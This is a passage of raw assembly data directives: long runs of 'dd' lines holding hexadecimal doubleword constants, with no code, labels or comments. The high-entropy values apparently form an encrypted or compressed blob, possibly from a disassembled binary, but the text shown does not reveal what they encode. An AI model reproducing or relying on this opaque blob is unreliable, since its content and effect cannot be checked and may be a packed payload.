		dd 0AAFD5952h, 32F4B296h, 45562616h, 0DF099E11h, 0EB442C33h
		dd 0DDECADFh, 81D670E0h, 0FCADE801h, 35D4AB4Dh,	95699884h
		dd 0EB601854h, 0E3B8A1E3h, 6483122Bh, 25BEFDD5h, 0A1EA4003h
		dd 0D28D0C0h, 5A1EB4A2h, 9135FE5Eh, 1584EA05h, 3EA28DAAh
		dd 27DBC4FCh, 55BCB035h, 2D54B7AAh, 27367909h, 0E04D347Dh
		dd 795D8202h, 0B9402599h, 159B25D2h, 8BFF2792h,	4A4C4974h
		dd 8798AABh, 8B439FA8h,	9FE61DC0h, 5E1C1757h, 0A78524E9h
		dd 92E0A91Dh, 1C05E6AAh, 7B2114F0h, 57FC60Fh, 0D08C55E8h
		dd 0E60CC987h, 8FBE5230h, 48BB2D50h, 0AE9702C4h, 4FF89434h
		dd 0E71A5B16h, 1CD07D4Ch, 19AD9716h, 93DCB829h,	884FBD8Ch
		dd 575AF9Bh, 0C8AB2B2Ah, 0B45435A8h, 2C86881Dh,	4CB0D74h
		dd 0E90103F8h, 249922B3h, 0E56A0A6Ah, 640AD69Dh, 5810762Dh
		dd 0A5480AEh, 40541874h, 0F072C83Bh, 7D21B19Eh,	3919DE42h
		dd 0C1A5F6F4h, 711824FCh, 870E87Eh, 176D5374h, 0F8305332h
		dd 0F727682Ah, 0D27D7712h, 93404979h, 68AFEB01h, 0C243A010h
		dd 23821FB1h, 4B2504Eh,	10271850h, 35AEEEBDh, 0A3102E8h
		dd 51299F8Dh, 4BDB1C59h, 7D38BB17h, 23B85268h, 91EF36C8h
		dd 785531B5h, 55E80C03h, 0BC3E9BABh, 47882FEFh,	3BD488D6h
		dd 0C53F847Ah, 45F18053h, 8B1B5BE4h, 4483FC3Dh,	0CBC7F250h
		dd 0ACFE0C1Eh, 82EAF065h, 0B7D0EC72h, 5A32FDB1h, 0A7572D98h
		dd 84386E48h, 2B814517h, 0A19784FCh, 7CC4A41Dh,	59CDD765h
		dd 9A5FFD2Bh, 0E0995F4Ch, 0E8769FD4h, 0EBF31816h, 779A8C21h
		dd 965E7D1Ch, 0DE25DDCEh, 6C846E9h, 0E655CC6Fh,	0D3C78C7Dh
		dd 0CC2F5008h, 0C6D5BB27h, 95CA8433h, 0B813067Ch, 755488FBh
		dd 9CFEBC4Ah, 0F79D081Ch, 56AE1185h, 0ED8BAA89h, 0C6409E69h
		dd 0B291A3D8h, 0C2F81633h, 0D408A7C0h, 27239B89h, 0C0F083Bh
		dd 0AE4C24B2h, 0EBA29B97h, 0C4F2E101h, 5F741BA8h, 0A528C1Ah
		dd 0BB9274FEh, 135B3CFEh, 4DC86CB5h, 0D85E97DCh, 16225A49h
		dd 0EEE5788Fh, 485176D2h, 959B0F55h, 0D052B8F6h, 848731A5h
		dd 2B277537h, 88C49CEDh, 0A04044FCh, 0B1428323h, 9D186211h
		dd 9FB546B3h, 0F772A4DEh, 55D3B8F1h, 0F86F4740h, 6AFE5EBAh
		dd 77406BEh, 0B52F1BE8h, 3380A40h, 0B2AC9FB1h, 0B415A243h
		dd 0C4E8F6FBh, 0E4120214h, 3D5F39CCh, 12C31894h, 0C3995419h
		dd 802FCABEh, 4E1F16C7h, 0DCC55781h, 8998BC91h,	243E6A4h
		dd 0E8A16653h, 6CF7438Dh, 0B541E73Ch, 0D463111Ch, 310C1769h
		dd 0A3253458h, 65F2D643h, 0C12E5358h, 13A3107Fh, 0A2F0B905h
		dd 0E8A2BB04h, 198F6662h, 1836C55Dh, 13EB4F10h,	683619A4h
		dd 433C49C0h, 0EAC14B71h, 74791A75h, 3FC1EC23h,	996EFEFBh
		dd 6A4B11EFh, 89D254B2h, 0DE243F74h, 0ACF4800Ah, 0AC2A47D9h
		dd 14069B26h, 99A2AC32h, 900DBDD3h, 0A270F1A0h,	88873C0Ch
		dd 1AF018EFh, 2548E168h, 88A143D0h, 0D4A768CAh,	62FA9823h
		dd 630AB1C3h, 0B04B2C11h, 5389624Ah, 35C4E92Eh,	0B2EA06ECh
		dd 7AF57411h, 0B793F1B9h, 0C6572739h, 0C268BF37h, 7CF574F0h
		dd 0BE71C2E2h, 0FF346898h, 25C4B036h, 7BADEC32h, 84D62814h
		dd 8032A1ACh, 0CCB59D96h, 1922211Dh, 0A8A31015h, 0C8F946F5h
		dd 0C681BF20h, 0FE815908h, 72CB84B8h, 7BCDE999h, 74966721h
		dd 82D4B45Bh, 3EFD8045h, 3763F68Bh, 7C836420h, 240CFE47h
		dd 1E647559h, 0C9EA5E95h, 0EBA0E056h, 93A3E4B9h, 30885C91h
		dd 188F2154h, 119A7FAFh, 61119417h, 2B08CE1h, 2F9E7C59h
		dd 76FC5C80h, 0D99F3382h, 26C4916Fh, 982FFC81h,	82FEBE28h
		dd 0B1086219h, 173366DBh, 5B269722h, 0A0D85854h, 171D2184h
		dd 0BE571942h, 8DF8FE75h, 0C5921790h, 0A2BCF813h, 92752920h
		dd 4823646Eh, 152CC056h, 53425624h, 0F8E2CE1h, 0E20DF810h
		dd 88881753h, 796C67A4h, 6B588AF4h, 5924B116h, 4D100EE0h
		dd 0E45DC816h, 471B78E0h, 164B42F8h, 2468AF46h,	43908F53h
		dd 0B71453A2h, 799C2288h, 43F4182Ch, 15CF85A3h,	0B884208Ah
		dd 25083DA3h, 0A38D86AAh
		dd 36F77842h, 0A2AEA320h, 44206E60h, 0EB99575Ch, 2DF7F1A7h
		dd 53F221F7h, 6DCA93E8h, 71981461h, 0A4F0708Eh,	5E329CB0h
		dd 432FB616h, 3C05A273h, 0F0263045h, 0CCA0A821h, 7171902Dh
		dd 0B3FC8559h, 0C29FF141h, 0E0878259h, 932A3C01h, 801DA618h
		dd 0A3415FFBh, 0BE127F3Fh, 0AC1056F3h, 18B74C7Ah, 0BA940A6Ah
		dd 6F6EBC15h, 642EE0CCh, 0A614048Ah, 0B0FDF22Dh, 2803F83Ch
		dd 0D30F6375h, 0C430216Bh, 0E0A00DE7h, 0E2D18710h, 2ECF1561h
		dd 33E2D2A3h, 5E2036F6h, 0FE5905ADh, 816DD1C3h,	0A44185AEh
		dd 40E23253h, 141B10A3h, 4CA2F88Ah, 0D8B44A5Fh,	1448031Ah
		dd 5319A1A7h, 0D211615Fh, 0AC55B7F5h, 0F56C1A99h, 98FB97h
		dd 8009E114h, 7CF7990Dh, 4A8B0424h, 2880CCC2h, 2044EC97h
		dd 0BE790AFEh, 5C49A7E1h, 0BA870955h, 0D888B175h, 933C0D6Dh
		dd 665B88CBh, 0E61EC76Ah, 5EE133Fh, 0DC4462EEh,	943DBD5h
		dd 4DD7506Ah, 0EBDA9630h, 4891A13Dh, 4D8D1A6Dh,	82627D96h
		dd 66525975h, 681C2D57h, 0A4B72003h, 0DDBB2A65h, 4F843A5Bh
		dd 0C4D7D488h, 1D1367E8h, 0B6C5Ah, 4C7FEADh, 51016B24h
		dd 0D184B8C2h, 561EC4F2h, 21A5198Eh, 0F9E1FF56h, 0D9F1650Fh
		dd 68BB5043h, 36F23EAh,	711C8B7Fh, 96201E38h, 84E8ACF0h
		dd 5601A4ACh, 4812C9E8h, 12C6F8C0h, 285318FAh, 94143EE4h
		dd 90CB33Ah, 606A756Ch,	0F0ECC824h, 40235D2Dh, 0E0CDB85h
		dd 223D7608h, 7C90BDF4h, 0DCB703EBh, 0FAF098C9h, 3B13C82Bh
		dd 6AC273CBh, 0C60322F4h, 0E7D1D975h, 5D01C074h, 64D92908h
		dd 836B3B57h, 9620CD8Ch, 0BBC59D2Bh, 140DD884h,	0D98A03AEh
		dd 1DC90855h, 0DF138110h, 5759EE0h, 4ACBE8F9h, 1A2CBB66h
		dd 4EE814F8h, 4888920Ah, 3D0C884Dh, 147DDD59h, 8464C9D8h
		dd 0CC0C5B0Ch, 216EE84Fh, 0CF46251Ch, 0F103F87h, 0A2AF09C8h
		dd 51DEEBEFh, 8C6C1711h, 60B76A9Fh, 8B03FCE6h, 0DCC40E04h
		dd 0C84443A6h, 0C06437CCh, 0CB0D031h, 10A043D4h, 0DCC490D8h
		dd 70E03180h, 6443940Ch, 0C4509810h, 0A031409Ch, 43A40C30h
		dd 10A81024h, 0C210ACCEh, 10A5F0B0h, 2186E0B4h,	0BC9CD0B8h
		dd 0ACC08861h, 1898E462h, 218680E8h, 0F08870ECh, 54F46260h
		dd 8840F818h, 90B739E8h, 0F2C4859Fh, 0CD13D04Ah, 277A825Bh
		dd 143812B1h, 0F6B04FFBh, 5480FA9h, 30161C8Dh, 0B8ECEBD1h
		dd 2A4DE3Ah, 0C6A0BD8h,	4FFC8A85h, 10289428h, 32BC20B5h
		dd 1E12ED2Bh, 3F3A69FEh, 383404C7h, 0F748EED1h,	0E8F0EEA8h
		dd 3C28C552h, 0D9D6A2E4h, 58B37520h, 3AADC412h,	0E9220C90h
		dd 99C8CF44h, 0F8263441h, 0C35E7F31h, 5F022DC1h, 62049952h
		dd 4F33412Eh, 1391C9E5h, 0D2330EC1h, 515024F7h,	0A2BABDC4h
		dd 0E0680B5Ch, 45005CA4h, 0CBB0A810h, 20D73C94h, 5497F1FBh
		dd 0A929C284h, 8D307684h, 92C27AFAh, 9E7BFF57h,	6007DCA7h
		dd 15180BBh, 0F38B1DC0h, 9A0E10BFh, 6AEF1443h, 2B278D3Ch
		dd 0C1F45A78h, 33F6F73Fh, 0C1C633F2h, 0F5615DF5h, 8E6FDBBh
		dd 9CFF1D50h, 0B913BE0Eh, 45969AB1h, 5308ABF3h,	326A09A6h
		dd 10964282h, 551C3277h, 5F52265Eh, 2B9D0B16h, 104FFF90h
		dd 6C4B032Ah, 393857E7h, 0A22CB5A1h, 632FD2Fh, 5E89038Eh
		dd 46E61F7Eh, 41EB2F18h, 0DF01B2FDh, 344B7170h,	2C3D66E7h
		dd 31FD1AAFh, 424921F9h, 0E97FE0D1h, 35298F1h, 310B46EBh
		dd 5E079F02h, 0A9D0243Bh, 42401674h, 318AFE1Ch,	8B43FF68h
		dd 99EF95FAh, 2B2289FFh, 1B4900C3h, 955256D7h, 252A8085h
		dd 77A9001Ah, 3B0472D7h, 0D16EDE76h, 7A644B34h,	0CA19810Eh
		dd 481616AAh, 580098F0h, 5725B77h, 5058FE83h, 4B6A1BDDh
		dd 7722F624h, 4710A177h, 3B314212h, 32893708h, 44842B18h
		dd 428C2126h, 461E221Bh, 90B2119h, 0D156730Ah, 0C62B2030h
		dd 3D1051Bh, 0EAD713C3h, 0E810CBCAh, 6BBF4107h,	0E95ADEE3h
		dd 0FFFC2FC6h, 9BFC6513h, 0DB331455h, 533824F3h, 9D395260h
		dd 2640843Ch, 76B8644h,	5B64FF67h, 30021081h, 0D9B1A883h
		dd 2940FC8Ch, 2C7064EBh, 9608C3Ch, 11A125DEh, 32659455h
		dd 13382545h, 0A5B259Dh, 685B336Ch, 8834102Ch, 4801C529h
		dd 17443012h, 21140263h, 289797B0h, 28437D74h, 382F7582h
		dd 2F6564DFh, 0CBDE2774h, 18D3FDCEh, 0F8718CBFh, 4E10A742h
		dd 4A14420Dh, 66FC3320h, 85D295A1h, 7C3F6A3Ch, 2BA48535h
		dd 0A6D988EEh, 41FE13D6h, 0B514A1EFh, 5FFA624Ch, 75BC2656h
		dd 4D8D0D0Bh, 27BC2855h, 0D04BF33Bh, 858AE7D3h,	27E3CFBEh
		dd 0C53675F8h, 27FD64DEh, 0E0990230h, 7E1C11A7h, 0C20DAB3h
		dd 0FB805954h, 0CAEA73D2h, 466A8492h, 27D4F7C3h, 0AEF5535Dh
		dd 0D9FAD32Eh, 319A0425h, 1440BC1Ch, 3322171Ch,	0C8DC206Ah
		dd 8625A6F6h, 0FB58EC09h, 3394999Bh, 50EA444Bh,	409966FDh
		dd 0A0F249A7h, 0F8421022h, 0BCBD4A75h, 0E418A3C8h, 31D4EB29h
		dd 1144F998h, 320516FAh, 96752051h, 7EC5202h, 0CDCCB77Eh
		dd 0E490E83Fh, 0D6505922h, 0FA936A91h, 0E12E9EC9h, 684F2E3h
		dd 1238323Ch, 98397D8Ch, 7B84F78Ah, 3284BBD4h, 0BC63B546h
		dd 2191E3E1h, 3EE39CD0h, 0C5A1B534h, 56AC1329h,	0B41B7FCh
		dd 560C95E8h, 2950C408h, 89BC72Eh, 80BE5605h, 34EA0616h
		dd 7C17E48Fh, 0DC0A0848h, 631C3DCBh, 4275810Eh,	251C28A1h
		dd 1DA883C4h, 0B7B6B4F8h, 16201345h, 99A85468h,	0B3D0911h
		dd 96F6A169h, 0B2C10142h, 480CA84Ch, 0CB1E15EFh, 44BE1885h
		dd 28840A26h, 842815E8h, 1F95EF3Ah, 165C3706h, 87D01089h
		dd 0DB550EAAh, 1C5EB402h, 0F1A810C1h, 1C1C0BD4h, 5CE518BEh
		dd 88C6B2AEh, 0FCA46165h, 0C93E0DFFh, 0DFF93F14h, 0CBA9902Dh
		dd 7D6B9A5Fh, 0F44165F0h, 3482462Ah, 0E815B0A9h, 211B0794h
		dd 2100A438h, 22C3BE0Eh, 0BCF2D378h, 12F9CAE4h,	6A146691h
		dd 0B80C963Ch, 581D575Fh, 0F89088Ah, 67D890Dh, 15A8E92Fh
		dd 7C63FCA8h, 0E006D864h, 852BE80Eh, 18200AF3h,	6B3036A9h
		dd 0CEBDFD65h, 0CC5D3901h, 0A3FF1576h, 1233986Ch, 67A221C8h
		dd 0D8340C98h, 75B7140Fh, 0AC791ED0h, 0D412CC9Bh, 1485493Ch
		dd 0AC751AE0h, 0DC12CCA7h, 3D852F34h, 0AFAC7F42h, 28E412C9h
		dd 53471A6Ah, 6A412E1Ah, 51495003h, 0A46E5DDEh,	89CBD397h
		dd 92DCB608h, 695D7462h, 342BF8F2h, 0F7E8AF28h,	49FEE99Dh
		dd 63FC2D91h, 65F45B8Dh, 3A2FF3Ch, 54A843D3h, 0A94418F0h
		dd 8BDCEE2Bh, 692024BBh, 99C0FAFAh, 9268817h, 0F4758B03h
		dd 0A3F08D59h, 3BA84394h, 0A410C264h, 90784FAh,	0FE2C9D30h
		dd 853FBB7h, 3045FAA4h,	0C6A8A762h, 0D522FD27h,	0EAC9E80Bh
		dd 398409CCh, 0D6A1F425h, 0FB6864D5h, 912E09Dh,	8798F4B5h
		dd 0F9043EE8h, 3BAF67FFh, 488E0DAh, 20C1F72Dh, 8A147427h
		dd 84412801h, 0F4052B2h, 5F1750Dh, 1A0010Dh, 0C48761BAh
		dd 0D01E037Eh, 330EF083h, 4C1A2C2h, 88F943A9h, 19E87481h
		dd 59FC418Bh, 0EDE4D132h, 0BA24B624h, 0F136D7Ch, 0EB02F810h
		dd 418DCD1Fh, 2B1956E8h, 0FE14C3C1h, 64FD210Bh,	0A4AF74FCh
		dd 83305760h, 0C465CCFh, 0B5407CA8h, 3A79BBE4h,	5634E4EDh
		dd 0F211E825h, 0C7E9C6Bh, 76A92AA3h, 29F2FD98h,	317F4C9Dh
		dd 0EB61057Dh, 1C649212h, 500B5C44h, 8F85ACAFh,	51FCB266h
		dd 0AE0EC735h, 61A3A216h, 38EDB55Eh, 0A15A0284h, 0F94DCFC8h
		dd 0A61619DBh, 9BA36AAAh
		dd 36743279h, 0C8FC96Ch, 3609DABBh, 7E267502h, 3F0C6BCCh
		dd 3A53E246h, 11741666h, 4873FFA2h, 3B2AA3FCh, 0FEB2D13h
		dd 35793272h, 1CE89FD7h, 0CCFF5ECBh, 844A9D9Dh,	1041C17Fh
		dd 0A23EC76Bh, 2E5585CFh, 524D6F25h, 0A9A023ABh, 14855E84h
		dd 0DE1CF766h, 3C37F86Ch, 0FC2DF879h, 0C98EBDEBh, 891017BCh
		dd 1C50A163h, 0C8AE2A93h, 3B3C2366h, 72F98AC8h,	5712F702h
		dd 804E51B2h, 87D29B9h,	4157EE6h, 18823E01h, 0FCD2DF03h
		dd 3B4B02EBh, 2E72144Dh, 9BF7254h, 0E30974C1h, 12C06BD7h
		dd 531704FFh, 476D2588h, 6DE3413Fh, 2937149Fh, 0D80317D9h
		dd 11D86010h, 24603E7Bh, 88287459h, 43870354h, 8BF4A2F5h
		dd 0C1A78CDDh, 0F26B7652h, 0F6102E5Eh, 0C4E8361h, 0C904EBE4h
		dd 4E0C200Dh, 7EDA2BB8h, 0E5FA05BEh, 2C11E824h,	0E4A7FECh
		dd 5AE49852h, 80E93459h, 0DCDF190Dh, 81542F6h, 358FC65Dh
		dd 292B69E9h, 0A5B8BE75h, 4F235F01h, 87D9E0FEh,	0A7ECC2D3h
		dd 0F32C242Dh, 4662D3Fh, 0C0353B18h, 6D4C775Bh,	1BCC08Bh
		dd 5C340FF4h, 365075C2h, 2F704DB6h, 64FFF4BDh, 435D882Dh
		dd 3B48FC09h, 941E2EC6h, 0CF572CEDh, 3A41012h, 552B55D7h
		dd 0F752936Bh, 6FC1A2DDh, 9243EA5Ah, 0C6819827h, 48E6E60Fh
		dd 44F2B7F0h, 9F92A02Dh, 557A5E21h, 51C84F41h, 0ECA32712h
		dd 32B08E64h, 0AA9F8F14h, 42D34721h, 98884A3Dh,	831D75E0h
		dd 0B9BC163Dh, 43B244Dh, 0BB3FE5AFh, 497438F2h,	0E917520Ah
		dd 0C7C6E460h, 0FD25BEEh, 122A6559h, 90C0945h, 29F61477h
		dd 2D540876h, 5E102A82h, 0D55A1F4Eh, 0FCA341E8h, 0E812D7A6h
		dd 0A3A33858h, 44290C24h, 0C9B4319Ch, 2731A70h,	0C1FE8B58h
		dd 2A4204EFh, 17B4467Fh, 0B93BF9E8h, 3D1593B8h,	32EB1442h
		dd 38BB12CAh, 5A0F352Ch, 2BCDACB6h, 0ABB6E504h,	0F40203Ah
		dd 4D243B8Ch, 0FE53138h, 4E5989EAh, 42438A28h, 0EFE2154h
		dd 0EB610BC4h, 0E61D2314h, 0FEFC20B0h, 0C58121AEh, 251BA8EFh
		dd 913EC023h, 0BDEB3E04h, 8914C833h, 0A46B3F23h, 2816920Fh
		dd 7C810D69h, 5A754448h, 0E889D8C2h, 0C77AF648h, 50A50175h
		dd 0CA9A5EAh, 6F24E804h, 0C3611D3Eh, 0ED7B406Ah, 0EDD1CD06h
		dd 6DC35553h, 3ABD9CBCh, 0EB890595h, 0FB210B61h, 8A1D102Eh
		dd 72272237h, 61281CE8h, 44391606h, 10742A42h, 75075314h
		dd 0C34CDE20h, 0BD35D6E1h, 9B155B88h, 9A3F94C4h, 0D62C9B10h
		dd 8616C116h, 0B7865A24h, 0A19CAB81h, 0F022708Dh, 7785C8D5h
		dd 3295BF1Fh, 0CEF05BEh, 1E572037h, 0B79B0DEBh,	0CCA02BD3h
		dd 548B0A01h, 82402EC8h, 4774D285h, 0C58A8C86h,	0C0BD82B0h
		dd 1D7204C4h, 0CCD9F72Dh, 2BDA03E1h, 788D100h, 0FA754947h
		dd 0EAC85F8Bh, 440F4626h, 8330CA10h, 2E90CE2h, 0F3061B74h
		dd 49B677ABh, 7F8C4A45h, 40DC35Fh, 0B9C461AEh, 0B7A8570Ch
		dd 53567A0Fh, 84E4D96Ah, 89C6F714h, 40D56A23h, 0EA83D686h
		dd 21EB056Fh, 446068Ah,	0B0257464h, 20A42902h, 5CEB7534h
		dd 2A0A1E16h, 0D1484E3h, 2F3D9821h, 0F375304Bh,	5E5B10BFh
		dd 0C7F7CEC4h, 122866B2h, 0B4669F3Bh, 75291284h, 6C1B3BEEh
		dd 0FA5E3433h, 89966156h, 0B9C62E17h, 21AF4BC8h, 2D068B7Fh
		dd 0A669E81h, 83D8C612h, 0C88450DEh, 0F0F6E82Ch, 0C2F7251Eh
		dd 440C8191h, 0C6C7D308h, 1EF57458h, 417DE281h,	700E1591h
		dd 0D3045C86h, 36465445h, 0A0A6FACh, 0A60078Ah,	0BAB1F875h
		dd 42A485A9h, 9AF55553h, 0C46F40C0h, 0CC4362CBh, 3C00F7Eh
		dd 85F6A07h, 963E65F0h,	250F4831h, 0C22A8F5Eh, 41048A04h
		dd 0DD88E083h, 0EB471903h, 0DA372CD2h, 0EF84C962h, 0DCC4B1EEh
		dd 450752Bh, 0DB563310h, 17FA5B44h, 4433F8B0h, 0A1520B41h
		dd 0E970203Dh, 0E98D0D11h, 465CCC9Bh, 0EB31D050h, 0FD83CF18h
		dd 1275C386h, 0B2D8F702h, 0D2774885h, 9D2075A5h, 0A95C13A1h
		dd 24CD343h, 2C68D0F0h,	0AB29E3B7h, 0E20B5A18h,	14517F8Fh
		dd 0BF11C20Fh, 2BEF8D14h, 0ED325312h, 1011AF15h, 4640188h
		dd 942AA74h, 0C8803D39h, 0C9117502h, 86740833h,	0FA6F051h
		dd 0AE0C9709h, 8914E7D0h, 4785F73Dh, 1781D88h, 0DCA13C29h
		dd 0E655F6CFh, 0D80D30B5h, 718D5615h, 0F03BFC07h, 6E51372h
		dd 0EE839861h, 0A0352870h, 14ED7323h, 9538685Eh, 2A453088h
		dd 44F15E8Dh, 113C1142h, 0D6600D19h, 1075285Bh,	8789537Bh
		dd 0C9F3AC4Eh, 5411E65Fh, 5773AB3Bh, 0EE50580Dh, 0F7ED4FEBh
		dd 6A945EC7h, 0E09D88EAh, 0E99F8D7Ah, 347E42B1h, 0C759FEEFh
		dd 2B24E41Ch, 29AA907Fh, 0BEE53DEBh, 8BE44D81h,	970878F0h
		dd 2DB8E064h, 4B695D4Ch, 0B928D6F2h, 45B77E3Ch,	40A30917h
		dd 205E582Ah, 0C0691E06h, 1F8DE6FDh, 269E4E05h,	0FC5E1615h
		dd 9E253635h, 4C50CB5Ch, 56536220h, 2B1118Ah, 699E7224h
		dd 0A7017189h, 0F7F64F75h, 0F147D35h, 0D0384607h, 0EAA715A9h
		dd 806B50Bh, 750B0A0Bh,	5F9685F5h, 110B27D4h, 8D1801F0h
		dd 61E8FF7Eh, 1A28B402h, 0CE0F2228h, 75E03821h,	341E4C4h
		dd 0EB1865CEh, 0C18D8666h, 36DFF423h, 6B60B1EBh, 0E9C28A0Bh
		dd 8DB5C043h, 1BFF6C47h, 0DD0C7F4h, 1495ADFAh, 1AD9FA0Ch
		dd 77C53AE4h, 5BB0065h,	6F3CF263h, 3BC010F9h, 1DDDBBB5h
		dd 9D73F87Ah, 0F5FBE882h, 85FAFDFFh, 8021720Eh,	753AC27Bh
		dd 2CD4711Bh, 0CED627F6h, 4888E885h, 66805447h,	26430EDEh
		dd 91F90AEBh, 82B336F2h, 4CF56EF5h, 53BEAF20h, 8078AFFh
		dd 498A6574h, 0F6D1C680h, 0CE48A182h, 480430D0h, 1E1AEB40h
		dd 192FF980h, 0F55C0A0Fh, 752E000Ah, 5968950Bh,	483C8D06h
		dd 0C4D1201h, 0CF1B22EAh, 73D239D0h, 0D72A6882h, 1FC0A32Eh
		dd 0FE3BFB2Bh, 4B3A6A96h, 0E810DE41h, 0F96A480Dh, 724C4A6h
		dd 443FE3EFh, 10114D82h, 2131C985h, 81FC7D24h, 0FB3B4C77h
		dd 0F684872h, 14CB3F46h, 1E471D05h, 7DE3213Fh, 44611218h
		dd 0EC3AB2Bh, 5E4E4A73h, 0E8578267h, 0E1B147A7h, 0EBE06024h
		dd 14462864h, 0C32B1742h, 6870229Ah, 99208752h,	0FD5D1888h
		dd 71977628h, 693D5130h, 268D26CEh, 81147282h, 2D0C85E9h
		dd 1850505h, 0EC731840h, 6E8BC82Bh, 0E18E1AC4h,	400982D4h
		dd 0CF1A5004h, 6B7DF80Ah, 7FFB6902h, 36EB8DE8h,	0C2DB390h
		dd 0A1048956h, 78044E12h, 400EE342h, 76410148h,	0C6C0B789h
		dd 345AC2E8h, 74C48AACh, 2A1CA116h, 0C105B2F0h,	80D97557h
		dd 60792527h, 5D505BADh, 87F7DA9h, 2D6AF15Ch, 53A942EBh
		dd 80447FBh, 0C3D18C9h,	114AB553h, 8AD710FFh, 778D241Fh
		dd 0B1F92081h, 21C3E4DFh, 6619392Ch, 162B6BDCh,	1057ADFh
		dd 0D0EB461Eh, 0B92DFB80h, 7CA04E6Dh, 9B058114h, 69162B1Ch
		dd 0E8572731h, 0E38C0F27h, 0CE38A86Eh, 3C09B584h, 7A8F9124h
		dd 59396A31h, 5E13F775h, 5BA17430h, 84C30AF5h, 502320Bh
		dd 0F8E3783Ch, 13A458A2h, 631F2208h, 1B39CB12h,	53177506h
		dd 20A412AAh, 0ADE81F04h, 46015E1Ch, 0FFC80B61h, 0BF10E968h
		dd 0DEA90369h, 0A0BD2351h, 31F34AA6h, 0E386F5Bh, 3DDFEC97h
		dd 30E91ACBh, 32EC14E2h, 4456570Bh, 8B663134h, 90C72358h
		dd 0C3254A57h, 0AD468D41h, 28F1F239h, 2F8D3B37h, 5BE23673h
		dd 8E0EEE2Bh, 0D809F4E9h, 53841288h, 2276CAF9h,	0C945805h
		dd 1CAF0F09h, 89F13403h, 9358BF4Ch, 2F188A06h, 4A2D64E9h
		dd 0DE9FF738h, 0F60C55C0h
		dd 40D208C1h, 0B4AA69D4h, 8291FC66h, 2A4DEB0Ch,	4BB86104h
		dd 9D1C757Fh, 3E420114h, 4002E183h, 0D87D8106h,	77800234h
		dd 75D830F3h, 457D8790h, 0F6277613h, 0C701B701h, 18283805h
		dd 0F15B2227h, 11EBFF86h, 608060B5h, 0C91BD9F6h, 31BF774h
		dd 372889C8h, 0A6F905BBh, 90D36102h, 0F7F8F143h, 8FD445D8h
		dd 0B1E089E2h, 38FD02A9h, 6A842369h, 271FDB01h,	9D9A66E5h
		dd 80053BF3h, 39EB4270h, 65D57E2Ah, 0E1105BF3h,	0F9592A45h
		dd 0B780ECBFh, 46E2319Bh, 72A97709h, 38592DF4h,	0E0D68478h
		dd 465AA469h, 8AC7458Ch, 75B42065h, 88807A89h, 0F2FFC983h
		dd 0BDA041AEh, 9DA18A4Fh, 471482FDh, 64740738h,	5E0261FEh
		dd 0BC95FFCh, 7B383045h, 7AE38350h, 73D96F26h, 0A24AF7EDh
		dd 0CB58F45Ch, 49B59DBh, 468AA6F3h, 3AC98B80h, 6777EA47h
		dd 10498004h, 0C18BD1F7h, 415E5B29h, 8BF6869h, 8D6A1DEBh
		dd 0BE64A5A4h, 578A1195h, 0FE1622Bh, 4A0A3B31h,	23C8DC9Eh
		dd 0E881A91h, 50FE7971h, 0F4FEEA55h, 0FD0ACF08h, 492503E8h
		dd 604C0CCDh, 118A2019h, 886497A0h, 63471729h, 2E13EE96h
		dd 0C5387489h, 115101C8h, 0C9E16C5Ch, 50613461h, 88C53D27h
		dd 0C7D7CC12h, 9CC72D3h, 1C09A466h, 2B0247C6h, 8812B20Dh
		dd 428D0898h, 0D75BFF3Eh, 646B7CEEh, 0A114460Eh, 0FE68D841h
		dd 0B42C1E5Ah, 139B30A0h, 421D0A8Ah, 0D1C7D938h, 51B5C984h
		dd 0ED751320h, 2DD8480Bh, 0E3C1C303h, 12785610h, 0A2BF0A29h
		dd 0E6F49BFh, 41F003CBh, 0FFF183F9h, 0FCCFAB48h, 14C2F4C6h
		dd 0ACE18104h, 25B60A92h, 1FD365B3h, 83DFF07h, 808DE633h
		dd 8AEAC4C2h, 428B2248h, 0D838FC04h, 38933674h,	8ADCC2EFh
		dd 0E7833CCFh, 2210E8C1h, 0DC441527h, 0EBD48806h, 0B25C9668h
		dd 70FEADCEh, 31FD0702h, 0E06909FCh, 0B8A30488h, 863C758Fh
		dd 33D83A02h, 26880A2Eh, 123C61C3h, 1D8AE625h, 7C41F8B1h
		dd 2B196402h, 3F030F11h, 0A6A24EA4h, 0D29236DEh, 1D8BF011h
		dd 0D1051B90h, 921F40E0h, 5E018832h, 420263D8h,	41E98B19h
		dd 28BEE063h, 66A81BC2h, 5C6840B2h, 8CA89D2h, 0A8C189C9h
		dd 8C4E7A96h, 92BB7434h, 46F60C33h, 0C0BBA434h,	0ABF3E017h
		dd 5F0B07F4h, 0A4B3168Ah, 2781CA78h, 8540CF23h,	12E3D203h
		dd 405448Dh, 81461866h,	61E575C4h, 0A685E5F4h, 0EF20EF0Eh
		dd 0E2CCB99Ah, 0FAF0516Ah, 525B60CEh, 0EEC1E3D3h, 4C8A0302h
		dd 4184E035h, 0C25077Fh, 0F6EB42F0h, 44DA6C8Bh,	24AB1E17h
		dd 584A5661h, 2659E0D3h, 224275E1h, 0B5FCC380h,	2BA402FAh
		dd 25F55EC2h, 56458992h, 0CB84C323h, 849210E3h,	9613E2E7h
		dd 87930EECh, 164ECB0Fh, 34E3E813h, 0B1840FDBh,	0F06D2D33h
		dd 5BD9E893h, 0B6B0E636h, 95536596h, 2FC3B22Eh,	63A63239h
		dd 0C76CFC2Eh, 88479085h, 8816911Fh, 0CF75610Ah, 83E08B4Fh
		dd 6243F7EFh, 2CD703ABh, 4EBE040Ah, 0BC097558h,	0EB4E61F3h
		dd 5153211Ch, 6433743Fh, 72B04933h, 30D94CBCh, 0D27DCBDDh
		dd 3F470D36h, 49054DC1h, 0FE9F375h, 233EF61h, 0E2B6C5D6h
		dd 0F6D0882Bh, 0B32AD044h, 2BC2CB66h, 5968443Ah, 0DA0D233h
		dd 2535788h, 581B4610h,	0A079969Ch, 0A2651925h,	314C9E62h
		dd 0C603D101h, 0EB76FE3Bh, 820FF8A0h, 9401782Fh, 0C11455D4h
		dd 73727Ch, 297208F9h, 24FFA5F3h, 0C4589509h, 38117841h
		dd 0E94403BAh, 0C72041Dh, 30FEE05Eh, 708530C8h,	0B564BFC3h
		dd 903F6866h, 89EC7F11h, 0AC0B9980h, 2310D009h,	0B958AD1h
		dd 1F505ADh, 212B4FFh, 2012AFDBh, 0C754C6B4h, 8A85CC5Dh
		dd 522C498Dh, 76D0262Eh, 0A622CC83h, 24905216h,	47454632h
		dd 388C1A85h, 0FCC4F40h, 8934093Ch, 2424122Ch, 9114481Ch
		dd 8E11500Ch, 3A89E43Ah, 0E811648Fh, 0EC45225Dh, 5DF024D2h
